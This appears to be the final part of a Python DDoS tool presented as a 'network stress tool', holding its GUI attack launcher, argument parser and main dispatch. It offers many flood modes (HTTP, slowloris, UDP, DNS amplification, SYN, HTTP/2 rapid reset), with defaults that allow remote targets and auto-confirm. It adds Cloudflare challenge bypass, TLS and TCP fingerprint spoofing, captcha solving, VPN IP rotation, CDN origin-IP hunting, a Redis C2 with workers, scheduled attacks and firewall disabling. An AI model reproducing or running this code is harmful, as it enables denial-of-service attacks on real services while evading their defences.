| self.log("[*] Configuring Cloudflare WARP for 'Traffic and DNS (UDP)' mode...") | |
| try: | |
| import platform | |
| if platform.system() == "Windows": | |
| # Launch the WARP GUI app so user can see it | |
| gui_paths = [ | |
| r"C:\Program Files\Cloudflare\Cloudflare WARP\Cloudflare WARP.exe", | |
| r"C:\Program Files (x86)\Cloudflare\Cloudflare WARP\Cloudflare WARP.exe" | |
| ] | |
| for gp in gui_paths: | |
| if os.path.exists(gp): | |
| subprocess.Popen(gp, shell=True) | |
| self.log("[+] Cloudflare WARP GUI opened.") | |
| break | |
| warp_bin = r"C:\Program Files\Cloudflare\Cloudflare WARP\warp-cli.exe" | |
| if not os.path.exists(warp_bin): | |
| warp_bin = r"C:\Program Files (x86)\Cloudflare\Cloudflare WARP\warp-cli.exe" | |
| else: | |
| warp_bin = "/usr/bin/warp-cli" if os.path.exists("/usr/bin/warp-cli") else "warp-cli" | |
| import time as _t | |
| _t.sleep(2) # Wait for WARP service to be ready | |
| subprocess.run([warp_bin, "set-mode", "warp+doh"], capture_output=True, timeout=5) | |
| self.log("[+] WARP Mode set to: Traffic and DNS (UDP)") | |
| subprocess.run([warp_bin, "connect"], capture_output=True, timeout=5) | |
| self.log("[+] Cloudflare WARP CONNECTED successfully.") | |
| except Exception as e: | |
| self.log(f"[!] Could not auto-connect Cloudflare WARP. Please start it manually: {e}") | |
| elif app_name == "Tuxler VPN": | |
| if not self._launch_tuxler_application(is_data_center=is_data_center): | |
| messagebox.showwarning("VPN Launch Failed", "Could not launch Tuxler VPN. Please open it manually and try again.") | |
| return | |
| else: | |
| self.log(f"[!] Auto-launch not supported for {app_name}. Please start it manually.") | |
| except Exception as e: | |
| self.log(f"[!] Failed to auto-launch {app_name}: {e}") | |
| self.console.config(state=tk.NORMAL) | |
| self.console.delete(1.0, tk.END) | |
| self.console.config(state=tk.DISABLED) | |
| self.log(f"Running command: {' '.join(cmd)}") | |
| self.run_button.config(state=tk.DISABLED) | |
| self.stop_button.config(state=tk.NORMAL) | |
| # Update Status Indicator | |
| self.status_label.config(text="🟢 Attack Running...", fg="green") | |
| # Start VPN IP Rotation if enabled | |
| self.vpn_rotator = None | |
| if self.ip_rotation_var.get(): | |
| proxy_mode = self.proxy_mode_var.get() | |
| if proxy_mode and proxy_mode != "System Default" and proxy_mode != "Custom Proxy File (.txt)": | |
| self.vpn_rotator = VPNRotator(vpn_mode=proxy_mode, interval_seconds=300) | |
| self.vpn_rotator.start() | |
| self.log("[🔄] VPN IP Auto-Rotation ENABLED (every 5 minutes)") | |
| else: | |
| self.log("[⚠️] IP Rotation requires a VPN Proxy Mode (WARP/Tuxler)") | |
| # Run process in a separate thread so GUI doesn't freeze | |
| self.thread = threading.Thread(target=self.run_process, args=(cmd,), daemon=True) | |
| self.thread.start() | |
| def run_process(self, cmd): | |
| try: | |
| # We use subprocess.PIPE to capture output | |
| self.process = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, bufsize=1) | |
| for line in self.process.stdout: | |
| line = line.strip() | |
| self.root.after(0, self.log, line) | |
| if self.ai_decision_var.get(): | |
| decision = self.ai_decider.process_line(line) | |
| if decision and decision.get("restart"): | |
| self.ai_restart_pending = True | |
| self.process.terminate() | |
| break | |
| self.process.wait() | |
| self.root.after(0, self.log, f"\nProcess finished with code {self.process.returncode}") | |
| except Exception as e: | |
| self.root.after(0, self.log, f"Error starting process: {e}") | |
| finally: | |
| if self.ai_restart_pending and not self.manual_stop: | |
| self.ai_restart_pending = False | |
| self.root.after(1000, self.start_attack) | |
| self.root.after(0, self.reset_buttons) | |
| def stop_attack(self): | |
| self.manual_stop = True | |
| if self.process and self.process.poll() is None: | |
| self.log("Stopping process...") | |
| self.process.terminate() | |
| if self.vpn_rotator: | |
| self.vpn_rotator.stop() | |
| self.vpn_rotator = None | |
| def reset_buttons(self): | |
| self.run_button.config(state=tk.NORMAL) | |
| self.stop_button.config(state=tk.DISABLED) | |
| self.status_label.config(text="🔴 Stopped", fg="red") | |
| self.shield_label.config(text="🛡️ Protection: Waiting...", fg="gray") | |
| if self.vpn_rotator: | |
| self.vpn_rotator.stop() | |
| self.vpn_rotator = None | |
| def parse_args(): | |
| parser = argparse.ArgumentParser(description="High-performance network stress tool.") | |
| parser.add_argument("--mode", choices=["http", "http-app", "tcp", "slow-http", "slowloris", "xmlrpc", "udp-frag", "udp-flood", "dns-amplification", "tcp-rst", "async-http", "port-scan", "rotating-targets", "tcp-syn", "mine", "vse", "udp-random", "websocket-flood", "h2-rapid-reset", "async-slowloris", "multiprocess"], default="http", help="Attack mode.") | |
| parser.add_argument("--target", default="http://127.0.0.1:8000", help="Target URL.") | |
| parser.add_argument("--host", default="127.0.0.1", help="Target host for TCP/UDP.") | |
| parser.add_argument("--port", type=int, default=80, help="Target port.") | |
| parser.add_argument("--method", choices=["GET", "POST"], default="GET", help="HTTP method.") | |
| parser.add_argument("--payload", default="message=payload", help="POST data payload.") | |
| parser.add_argument("--requests", type=int, default=100000, help="Number of requests.") | |
| parser.add_argument("--connections", type=int, default=10000, help="Number of TCP connections.") | |
| parser.add_argument("--workers", type=int, default=500, help="Concurrent threads/coroutines.") | |
| parser.add_argument("--rate", type=float, default=0.0, help="Requests/s (0 = unlimited).") | |
| parser.add_argument("--duration", type=float, default=0.0, help="Run for N seconds (0 = use --requests count).") | |
| parser.add_argument("--send-payload", action="store_true", help="Send payload after TCP connect.") | |
| parser.add_argument("--extra-headers", action="store_true", default=True, help="Add extra HTTP headers.") | |
| parser.add_argument("--use-playwright", action="store_true", help="Playwright browser headers.") | |
| parser.add_argument("--keepalive", action="store_true", default=True, help="HTTP keep-alive.") | |
| parser.add_argument("--random-query", action="store_true", default=True, help="Random query params.") | |
| parser.add_argument("--allow-remote", action="store_true", default=True, help="Allow remote targets.") | |
| parser.add_argument("--log", default="", help="Log file path.") | |
| parser.add_argument("--confirm", action="store_true", default=True, help="Auto-confirmed.") | |
| parser.add_argument("--start-local-server", action="store_true", help="Start local HTTP server.") | |
| parser.add_argument("--xmlrpc-server", action="store_true", help="Start local XML-RPC server.") | |
| parser.add_argument("--udp-packet-size", type=int, default=1400, help="UDP packet size (max MTU).") | |
| parser.add_argument("--slow-chunk-size", type=int, default=1, help="Chunk size for slow HTTP.") | |
| parser.add_argument("--slow-chunk-delay", type=float, default=10.0, help="Delay between chunks.") | |
| parser.add_argument("--tcp-rst-count", type=int, default=50000, help="TCP reset attempts.") | |
| parser.add_argument("--use-identities", action="store_true", help="Use identity pools to maintain cookie sessions and header consistency.") | |
| parser.add_argument("--geo", choices=list(GEO_PROFILES.keys()), default="default", help="Geo-target for language/timezone consistency.") | |
| parser.add_argument("--proxies", help="Path to text file containing proxies (one per line).") | |
| parser.add_argument("--human-timing", action="store_true", help="Use human-like entropy timing (Pareto/Gaussian distributions) instead of fixed rates.") | |
| parser.add_argument("--use-cffi", action="store_true", help="Use curl_cffi for browser TLS fingerprint spoofing (JA3 evasion).") | |
| parser.add_argument("--js-bypass", action="store_true", help="Use Playwright stealth to solve Cloudflare/JS challenges and extract clearance cookies.") | |
| parser.add_argument("--no-honeypots", action="store_true", help="Do not click/request hidden CSS elements (Honeypot evasion).") | |
| parser.add_argument("--tcp-spoof", action="store_true", help="Use Scapy to spoof TCP/IP OS fingerprints (requires Admin/Root).") | |
| parser.add_argument("--ai-payload", action="store_true", help="Dynamically generate realistic, random JSON POST payloads for every request.") | |
| parser.add_argument("--captcha-key", default="", help="2Captcha API Key for automated image captcha solving.") | |
| parser.add_argument("--start-c2", action="store_true", help="Start C2 controller server.") | |
| parser.add_argument("--c2-server", default="127.0.0.1", help="C2 Redis hostname.") | |
| parser.add_argument("--c2-port", type=int, default=6379, help="C2 Redis port.") | |
| parser.add_argument("--worker", action="store_true", help="Run in worker mode and connect to the C2 server.") | |
| parser.add_argument("--schedule", default="", help="Schedule attack time (YYYY-MM-DD HH:MM).") | |
| parser.add_argument("--repeat", choices=["none", "hourly", "daily", "weekly"], default="none", help="Repeat schedule.") | |
| parser.add_argument("--batch-file", default="", help="Load multiple targets from a file (one per line).") | |
| parser.add_argument("--api-server", action="store_true", help="Start REST API server on port 8080.") | |
| parser.add_argument("--disable-firewall", action="store_true", help="Attempt to disable local firewall with consent.") | |
| parser.add_argument("--origin-hunt", action="store_true", help="Run origin IP discovery for a CDN-protected target.") | |
| return parser.parse_args() | |
| def log_error(logger: logging.Logger, error_msg: str, exception: Exception = None): | |
| if exception: | |
| logger.error(f"{error_msg}: {str(exception)}", exc_info=True) | |
| else: | |
| logger.error(error_msg) | |
| def configure_logger(log_path: str | None) -> logging.Logger: | |
| logger = logging.getLogger("power_attack") | |
| logger.setLevel(logging.DEBUG) | |
| logger.handlers = [] | |
| if not log_path: | |
| log_path = os.path.join(os.path.expanduser("~"), "ddos_attack_log.txt") | |
| try: | |
| file_handler = logging.FileHandler(log_path, encoding="utf-8", mode="a") | |
| file_handler.setLevel(logging.DEBUG) | |
| file_formatter = logging.Formatter( | |
| "%(asctime)s | %(levelname)-8s | %(funcName)s:%(lineno)d | %(message)s", | |
| datefmt="%Y-%m-%d %H:%M:%S" | |
| ) | |
| file_handler.setFormatter(file_formatter) | |
| logger.addHandler(file_handler) | |
| print(f"[*] Logging to: {log_path}") | |
| except Exception as e: | |
| print(f"[!] Failed to create log file: {e}") | |
| console_handler = logging.StreamHandler(sys.stdout) | |
| console_handler.setLevel(logging.INFO) | |
| console_formatter = logging.Formatter("%(asctime)s %(levelname)s %(message)s") | |
| console_handler.setFormatter(console_formatter) | |
| logger.addHandler(console_handler) | |
| return logger | |
| # ============================================================================ | |
| # MAIN (يدعم CLI و GUI) | |
| # ============================================================================ | |
| def main(): | |
| if len(sys.argv) > 1: | |
| args = parse_args() | |
| logger = configure_logger(args.log if args.log else None) | |
| server = None | |
| xmlrpc_server = None | |
| if args.start_local_server and args.mode in {"http", "http-app"}: | |
| server = start_local_http_server(args.port) | |
| time.sleep(0.5) | |
| if args.xmlrpc_server and args.mode == "xmlrpc": | |
| xmlrpc_server = start_local_xmlrpc_server(args.port) | |
| time.sleep(0.5) | |
| controller = None | |
| if args.start_c2: | |
| controller = start_c2_server(host=args.c2_server, port=args.c2_port, logger=logger) | |
| if args.api_server: | |
| if controller is None: | |
| controller = DistributedController(redis_host=args.c2_server, redis_port=args.c2_port, logger=logger) | |
| start_api_server(controller, host="0.0.0.0", port=8080) | |
| logger.info("[API] REST API server started on http://0.0.0.0:8080") | |
| if args.worker: | |
| run_worker_loop(args, logger) | |
| return | |
| batch_targets = load_targets_from_file(args.batch_file) if args.batch_file else [] | |
| if args.disable_firewall: | |
| if platform.system() == "Windows": | |
| if disable_windows_firewall(): | |
| logger.info("[Firewall] Windows firewall disabled.") | |
| else: | |
| logger.warning("[Firewall] Failed to disable Windows firewall.") | |
| else: | |
| if disable_linux_iptables(): | |
| logger.info("[Firewall] Linux iptables flush completed.") | |
| else: | |
| logger.warning("[Firewall] Failed to flush Linux iptables.") | |
| if args.origin_hunt: | |
| parsed = urllib.parse.urlparse(args.target) | |
| hostname = parsed.hostname or args.target | |
| results = find_origin_ip(hostname) | |
| logger.info(f"[Origin Hunt] Discovered origin candidates: {results}") | |
| if args.schedule: | |
| if controller is None: | |
| controller = DistributedController(redis_host=args.c2_server, redis_port=args.c2_port, logger=logger) | |
| if controller.connected: | |
| try: | |
| iso = schedule_attack(controller, args.target, args.mode, args.schedule, args.duration, args.requests, args.repeat) | |
| logger.info(f"[Schedule] Attack scheduled at {iso} (repeat={args.repeat})") | |
| except Exception as exc: | |
| logger.error(f"[Schedule] Failed to schedule attack: {exc}") | |
| else: | |
| try: | |
| schedule_time = datetime.datetime.strptime(args.schedule, "%Y-%m-%d %H:%M") | |
| delay = max(0, (schedule_time - datetime.datetime.now()).total_seconds()) | |
| def local_job(): | |
| if args.mode == "rotating-targets": | |
| targets = batch_targets or [args.target] | |
| for t in targets: | |
| http_flood( | |
| url=t, | |
| total_requests=args.requests, | |
| workers=args.workers, | |
| method=args.method, | |
| payload=args.payload, | |
| rate=args.rate if args.rate > 0 else 0, | |
| duration=args.duration if args.duration > 0 else None, | |
| extra_headers=args.extra_headers, | |
| use_playwright=args.use_playwright, | |
| keepalive=args.keepalive, | |
| random_query=args.random_query, | |
| app_mode=False, | |
| logger=logger, | |
| identity_pool=None, | |
| human_timing=args.human_timing, | |
| use_cffi=args.use_cffi, | |
| tcp_spoof=args.tcp_spoof, | |
| ai_payload=args.ai_payload | |
| ) | |
| elif args.mode == "port-scan": | |
| open_ports = scan_ports(args.target, [80, 443, 8080, 8443]) | |
| logger.info(f"[Port Scan] Open ports: {open_ports}") | |
| else: | |
| logger.info("[Schedule] Running scheduled attack.") | |
| # rely on the existing main logic below by invoking `main` recursively is unsafe | |
| pass | |
| threading.Timer(delay, local_job).start() | |
| logger.info(f"[Schedule] Local attack scheduled at {schedule_time.isoformat()}") | |
| except Exception as exc: | |
| logger.error(f"[Schedule] Invalid schedule: {exc}") | |
| if args.batch_file and args.mode == "rotating-targets": | |
| if batch_targets: | |
| args.target = batch_targets[0] | |
| logger.info(f"[Batch] Loaded {len(batch_targets)} rotation targets.") | |
| else: | |
| logger.warning(f"[Batch] No targets loaded from {args.batch_file}.") | |
| if args.mode == "async-http": | |
| identity_pool = None | |
| if args.use_identities or args.proxies or args.use_cffi: | |
| proxies = load_proxy_list(args.proxies) if args.proxies else [] | |
| identity_pool = IdentityPool(geo=args.geo, proxies=proxies, target_url=args.target) | |
| if getattr(args, 'ai_payload', False): | |
| AIPayloadGenerator.learn_from_target(args.target) | |
| print_evasion_report( | |
| identity_pool=identity_pool, | |
| use_tcp_spoof=getattr(args, 'tcp_spoof', False), | |
| use_cffi=args.use_cffi, | |
| use_playwright=args.use_playwright | |
| ) | |
| result = async_http_flood( | |
| url=args.target, | |
| total_requests=args.requests, | |
| concurrency=args.workers, | |
| method=args.method, | |
| payload=args.payload, | |
| duration=args.duration if args.duration > 0 else None, | |
| identity_pool=identity_pool, | |
| random_query=args.random_query, | |
| app_mode=False, | |
| ai_payload=getattr(args, 'ai_payload', False), | |
| ) | |
| if not result: | |
| args.mode = "http" | |
| if args.mode in {"http", "http-app"}: | |
| total_requests = args.requests if args.requests > 0 else 0 | |
| duration = args.duration if args.duration > 0 else None | |
| rate = args.rate if args.rate > 0 else None | |
| if args.use_playwright and not PLAYWRIGHT_AVAILABLE: | |
| print("Warning: Playwright not installed; ignored.") | |
| if args.use_cffi and not CURL_CFFI_AVAILABLE: | |
| print("Warning: curl_cffi not installed; ignored. (pip install curl_cffi)") | |
| identity_pool = None | |
| if args.use_identities or args.proxies or args.use_cffi or args.js_bypass: | |
| proxies = load_proxy_list(args.proxies) if args.proxies else [] | |
| identity_pool = IdentityPool(geo=args.geo, proxies=proxies, use_js_bypass=args.js_bypass, target_url=args.target) | |
| print_evasion_report( | |
| identity_pool=identity_pool, | |
| use_tcp_spoof=getattr(args, 'tcp_spoof', False), | |
| use_cffi=args.use_cffi, | |
| use_playwright=args.use_playwright | |
| ) | |
| http_flood( | |
| url=args.target, | |
| total_requests=total_requests, | |
| workers=args.workers, | |
| method=args.method, | |
| payload=args.payload, | |
| rate=rate, | |
| duration=duration, | |
| extra_headers=args.extra_headers, | |
| use_playwright=args.use_playwright, | |
| keepalive=args.keepalive, | |
| random_query=args.random_query, | |
| app_mode=args.mode == "http-app", | |
| logger=logger, | |
| identity_pool=identity_pool, | |
| human_timing=args.human_timing, | |
| use_cffi=args.use_cffi, | |
| tcp_spoof=getattr(args, 'tcp_spoof', False), | |
| ai_payload=getattr(args, 'ai_payload', False), | |
| use_js_bypass=args.js_bypass | |
| ) | |
| elif args.mode == "slow-http": | |
| count = args.requests if args.requests > 0 else int(args.rate * args.duration) if args.duration > 0 and args.rate > 0 else 10 | |
| for _ in range(count): | |
| status, elapsed = slow_http_post_request(args.target, args.payload, args.slow_chunk_size, args.slow_chunk_delay, args.extra_headers) | |
| print(f"Slow HTTP POST: {status} ({elapsed:.2f}s)") | |
| elif args.mode == "async-http": | |
| total_requests = args.requests if args.requests > 0 else 0 | |
| duration = args.duration if args.duration > 0 else None | |
| rate = args.rate if args.rate > 0 else None | |
| if not HTTPX_AVAILABLE: | |
| print("Warning: httpx not installed; async HTTP mode may have reduced compatibility.") | |
| identity_pool = None | |
| if args.use_identities or args.proxies or args.use_cffi or args.js_bypass: | |
| proxies = load_proxy_list(args.proxies) if args.proxies else [] | |
| identity_pool = IdentityPool(geo=args.geo, proxies=proxies, use_js_bypass=args.js_bypass, target_url=args.target) | |
| print_evasion_report( | |
| identity_pool=identity_pool, | |
| use_tcp_spoof=getattr(args, 'tcp_spoof', False), | |
| use_cffi=args.use_cffi, | |
| use_playwright=args.use_playwright | |
| ) | |
| async_http_flood( | |
| url=args.target, | |
| total_requests=total_requests, | |
| concurrency=args.workers, | |
| method=args.method, | |
| payload=args.payload, | |
| duration=duration, | |
| identity_pool=identity_pool, | |
| random_query=args.random_query, | |
| app_mode=False, | |
| ai_payload=getattr(args, 'ai_payload', False), | |
| use_js_bypass=args.js_bypass | |
| ) | |
| elif args.mode == "slowloris": | |
| duration = args.duration if args.duration > 0 else None | |
| rate = args.rate if args.rate > 0 else None | |
| slowloris_attack(args.host, args.port, args.connections, rate, duration, logger) | |
| elif args.mode == "xmlrpc": | |
| status, elapsed = xmlrpc_request(args.target, "http://127.0.0.1/source", args.extra_headers) | |
| print(f"XML-RPC result: {status} ({elapsed:.2f}s)") | |
| elif args.mode == "udp-frag": | |
| duration = args.duration if args.duration > 0 else None | |
| rate = args.rate if args.rate > 0 else None | |
| udp_fragment_flood(args.host, args.port, args.requests, args.udp_packet_size, rate, duration, logger) | |
| elif args.mode == "udp-flood": | |
| duration = args.duration if args.duration > 0 else None | |
| rate = args.rate if args.rate > 0 else None | |
| udp_flood(args.host, args.port, args.requests, args.udp_packet_size, rate, duration, logger) | |
| elif args.mode == "dns-amplification": | |
| count = args.requests if args.requests > 0 else 1000 | |
| dns_amplification_attack(args.host, 53, count) | |
| elif args.mode == "tcp-rst": | |
| duration = args.duration if args.duration > 0 else None | |
| rate = args.rate if args.rate > 0 else None | |
| tcp_rst_attack(args.host, args.port, args.tcp_rst_count, rate, duration, logger) | |
| elif args.mode == "tcp": | |
| total_connections = args.connections if args.connections > 0 else 0 | |
| duration = args.duration if args.duration > 0 else None | |
| rate = args.rate if args.rate > 0 else None | |
| tcp_connection_flood(args.host, args.port, total_connections, args.workers, args.send_payload, rate, duration, logger) | |
| elif args.mode == "tcp-syn": | |
| runflooder(args.host, args.port, args.workers, args.duration if args.duration > 0 else 30) | |
| elif args.mode == "mine": | |
| runmine(args.host, args.port, args.workers, args.duration if args.duration > 0 else 30) | |
| elif args.mode == "vse": | |
| runvse(args.host, args.port, args.workers, args.duration if args.duration > 0 else 30) | |
| elif args.mode == "udp-random": | |
| runsender(args.host, args.port, args.workers, args.duration if args.duration > 0 else 30) | |
| elif args.mode == "websocket-flood": | |
| duration = args.duration if args.duration > 0 else 60 | |
| asyncio.run(websocket_flood(args.target, connections=args.workers, duration=duration)) | |
| elif args.mode == "h2-rapid-reset": | |
| duration = args.duration if args.duration > 0 else 60 | |
| asyncio.run(h2_rapid_reset_attack(args.target, streams_per_connection=100, connections=args.workers, duration=duration)) | |
| elif args.mode == "async-slowloris": | |
| duration = args.duration if args.duration > 0 else 300 | |
| asyncio.run(async_slowloris_attack(args.host, port=args.port, connections=args.workers, duration=duration)) | |
| elif args.mode == "multiprocess": | |
| duration = args.duration if args.duration > 0 else 60 | |
| multiprocess_attack_launcher( | |
| target=args.target, total_workers=args.workers, duration=duration, | |
| attack_kwargs={"target": args.target} | |
| ) | |
| if server: | |
| server.shutdown() | |
| print("Local HTTP server stopped.") | |
| if xmlrpc_server: | |
| xmlrpc_server.shutdown() | |
| print("Local XML-RPC server stopped.") | |
| else: | |
| gui = UltimateIntegratedGUI() | |
| gui.run() | |
| if __name__ == "__main__": | |
| main() | |